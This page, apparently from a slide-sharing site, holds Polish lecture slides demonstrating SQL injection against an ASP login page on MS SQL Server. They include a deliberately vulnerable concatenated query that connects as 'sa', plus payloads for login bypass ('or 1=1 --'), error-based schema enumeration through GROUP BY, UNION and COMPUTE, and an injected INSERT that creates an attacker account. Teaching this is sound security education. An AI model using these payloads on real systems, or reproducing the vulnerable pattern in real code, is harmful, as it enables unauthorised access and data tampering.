Przykład włamania do aplikacji internetowej poprzez modyfikację zapytań SQL Skrypty ASP Serwer bazy danych MS SQL Server Piotr Kuźniacki BDi.

Slides:



Advertisements
Podobne prezentacje
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Advertisements

Procedury wyzwalane Procedura wyzwalana (ang. trigger) - stanowi kod użytkownika przechowywany wewnątrz bazy i uruchamiany w określonych sytuacjach np.
Skrypty, procedury przechowywane i wyzwalane
SQL INJECTION Wykorzystanie błędów w językach skryptowych
XML + relacyjne bazy danych
Bazy danych II Instrukcja SELECT Piotr Górczyński 25/08/2001.
18/11/ Języki programowania 1 Piotr Górczyński Biblioteki.
Bazy danych 8. SQL podstawy P. F. Góra semestr letni 2004/05.
PHP + MySQL część II.
MS Access 2000 Kwerendy Piotr Górczyński 25/08/2001.
Bazy danych II Instrukcja INSERT Piotr Górczyński 25/08/2001.
25/08/ Bazy danych II Piotr Górczyński Instrukcja UPDATE.
25/08/ Bazy danych II Piotr Górczyński MS Access – Action Query.
27/09/ Języki programowania 1 Piotr Górczyński Obsługa błędów.
20/09/ Języki programowania 1 Piotr Górczyński Kreator form.
18/11/ Języki programowania 1 Piotr Górczyński Łączenie z bazą danych.
Aplikacje ASP.NET Arkadiusz Twardoń ZTiPSK
Co to jest studium przypadku?
Metody autoryzacji użytkowników wymaga integracji z systemem operacyjnym nie wymaga logowania mała pewność mechanizmu wymaga logowania duża pewność mechanizmu.
Bezpieczeństwo Procedury składowane Funkcje i Wyzwalacze
ZSBD PL/SQL CZĘŚĆ 3 Wykład 5 Prowadzący: dr Paweł Drozda.
WYZWALACZE (TRIGGERY) Wyzwalacz jest specjalnym rodzajem procedury składowanej, która może być wykonana w odpowiedzi na jedną z trzech sytuacji: UPDATE.
SQL select kredytobiorca,bank, rodzaj, data_zawarcia, klasyfikacja,kwota, terminzapadalnosci-data_zawarcia iledni from tab_kredyt where (terminzapadalnosci-data_zawarcia)>1095.
Zapytania SQL: wydajność i optymalizacja
Wykład 8 Wojciech Pieprzyca
BD-LAB6 Wojciech Pieprzyca
WYKONYWANIE ZAPYTAŃ Przygotował Lech Banachowski na podstawie: 1.Raghu Ramakrishnan, Johannes Gehrke, Database Management Systems, McGrawHill, 2000 (książka.
Technologia.Net Bazy danych. Technologia ADO.Net Służy do dostarczania danych z rożnych źródeł (baz danych) do aplikacji Jest produktem Microsoft Umożliwia.
Technologia ASP.NET.
Język SQL – ciąg dalszy DML (Data Manipulation Language)
Język SQL (Structured Query Language) DDL (Data Definition Language)
Autor: Maciej Piwowarczyk
Licencjonowanie wirtualizacji
Licencjonowanie Lync 2013 Poziom 200.
Wprowadzenie do JSP Copyright © Politecnico di Milano September 2003 Translation: Kamil Żyła, Politechnika Lubelska.
SQL – zapytania posumowanie
SQL – Structured Query Language (3)
Przetwarzanie w oknie - nowa siła zapytań
MySQL – ODBC - ACCESS.
Wirtualna baza SQL zgodna z SQL Server SQL as a Service
Delphi i Acad cd.. l_poz := MSpace.Count; Label3.Caption:=IntToStr(l_poz); ent:=Mspace.Item(0); for l_poz := 0 to MSpace.Count-1 do begin; ent:=Mspace.Item(l_poz);
Instrukcje: CREATE, INSERT, UPDATE, DELETE, DROP
Użytkownicy i przywileje Sesja - przykład Błędy Komunikacja międzyskryptowa Wykład 83PD Technologie internetowe.
Tworzenie Aplikacji Internetowych
Q-Administratorze ułatw sobie życie.
ASP BAZY. 2.2 S. Wolek Wst. do Inf. Połączenie z bazą danych przez ADO (ActiveX Data Object) do: - źródła ODBC - bazy z podanie nazwy sterownika ODBC.
SQL - Structured Query Language
Aplikacje bazodanowe ADO.NET PHP i MySQL
Tworzenie Aplikacji Internetowych dr Wojciech M. Gańcza 3.
Integracja iStore z programem Subiekt GT
18/11/ Języki programowania 1 Piotr Górczyński Kontrolki.
ASP BAZY DANYCH. 2 S. Wolek Wst. do Inf. Połączenie z bazą danych przez ADO (ActiveX Data Object) do: - źródła ODBC - bazy z podanie nazwy sterownika.
PL/SQL – dalsza wędrówka
1 SBD, L.Banachowski Podstawy SQL - języka relacyjnych i obiektowo-relacyjnych baz danych (SQL2, SQL'1999, Oracle) Powtórzenie wyk ł adu 3.
Wydział Elektroniki Kierunek: AiR Zaawansowane metody programowania Wykład 5.
1 SBD, L.Banachowski Zaawansowane cechy SQL Powtórzenie wyk ł adu 5.
Autor: Damian Urbańczyk
1 SBD, L.Banachowski Oprogramowanie strony serwera cz. 1 Powtórzenie wyk ł adu 6.
Komendy SQL do pracy z danymi
Informatyka Stosowana – ROK II / III
.NET i Bazy Danych Projekt: Wadim Grasza.
Rozproszone i obiektowe bazy danych Temat: „ Mobilny dostawca ” Prowadzący: Dr inż. Robert Wójcik Marcin Fijałkowski Piotr Kłys r.
Wykład 3 Prowadzący: dr Paweł Drozda. Użytkownik bazy danych – osoba lub aplikacja, mająca dostęp do części danych zgromadzonych w bazie Uprawnienia –
Współpraca PHP i MySQL Wygodniejszym i wydajniejszym sposobem przechowywania i korzystania z danych zapisanych na serwerze jest współpraca z relacyjna.
ASP.NET Kontrolki źródła danych i prezentacji danych w ASP.Net
Projekt „NEW-TECH Program rozwoju praktycznych kompetencji nauczycieli zawodów branż nowych technologii” jest współfinansowany przez Unię Europejską Projekt.
Optymalizacja zapytań w SQL Server
Widoki (views) - Perspektywy:
Strukturalny język zapytań SQL - historia
Technologie Informacyjne Bazy danych
Zapis prezentacji:

Przykład włamania do aplikacji internetowej poprzez modyfikację zapytań SQL Skrypty ASP Serwer bazy danych MS SQL Server Piotr Kuźniacki BDi

Skrypt logowania Dim recordSet, connection, strSql set connection=server.CreateObject("ADODB.Connection") connection.Open "DRIVER={SQL SERVER};SERVER=(LOCAL);UID=sa;PWD=pwd;DATABASE=Hack" strSql = "SELECT * FROM Uzytkownik where User='" & Request.Form(„UserID") & "' and Password='" & Request.Form("PWD") & "'" set recordSet= connection.execute(strSql) if Not recordSet.EOF then response.write("<br>Poprawnie zalogowowany") else response.write("<br>Brak uprawnień") end if recordSet.Close

Spreparowane zapytanie SQL Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘ or 1=1 – Rezultaty Zapytanie jest poprawne Reszta jest komentarzem Warunek jest spełniony

Spreparowane zapytanie SQL Postać parametrów Login.asp?UserID=aaa‘ Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘aaa’’ and Password=‘’ Rezultaty Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string 'aaa' and Password=''. Warunek jest coś=‘login’ and Password=‘password’

Spreparowane zapytanie SQL Postać parametrów Login.asp?UserID=aaa%27%20group%20by%20Password-- Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘aaa’ group by Password-- Rezultaty Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Uzytkownik.IDUzytkownik' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Znamy nazwę tabeli Uzytkownik Znamy pierwszą kolumnę IDUzytkownik Wykonujemy to dla pozostałych kolumn

Spreparowane zapytanie SQL Postać parametrów Login.asp?UserID=aaa%27%20union%20select%20IDUzytkownik%20from%20Uzytkownik-- Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘aaa’ union select IDUzytkownik from Uzytkownik-- Rezultaty Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. Dodajemy kolejne pola aż zniknie błąd, mamy wszystkie pola.

Spreparowane zapytanie SQL Postać parametrów Login.asp?UserID=aaa%27%20compute%20sum%20(User)-- Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘aaa' compute sum(User)-- Rezultaty Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a nvarchar data type as an argument. Znamy typ pola, powtarzamy dla pozostałych.

Spreparowane zapytanie SQL Postać parametrów Login.asp?UserID=aaa%27%20insert%20into%20Uzytkownik (IDUzytkownik,Imie,Nazwisko,User,Password) %20values%20 (1000,%27 Haker%27,%27Hakerowaty%27, %27Login%27, %27Pwd%27)-- Postać ostatecznego zapytania SELECT * FROM Uzytkownik where User=‘aaa' insert into Uzytkownik (IDUzytkownik,Imie,Nazwisko,User,Password) values (1000,'Haker','Hakerowaty','Login','Pwd')-- Rezultaty Użytkownik dodany. Gdy nie znamy poprawnych wartości pól, można użyć update z danymi innego użytkownika (update Uzytkownik set Pole=(select max(pole) from Uzytkownik where User=‘Nowak’).

Literatura Stokłosa J., Bilski T., Pankowski T.: Bezpieczeństwo danych w systemach informatycznych. Wydawnictwo Naukowe PWN, 2001. Maiwald E.: Bezpieczeństwo w Sieci. Wydawnictwo edition, 2000. Scambray J., McClure S., Kurtz G.: Hakerzy cała prawda. Wydawnictwo Translator, 2001. Win.Security magazine Magazyn Administratorów i użytkowników systemów Windows, 2002 3. http://arch.ipsec.pl/prez/ploug-2001/kravietz/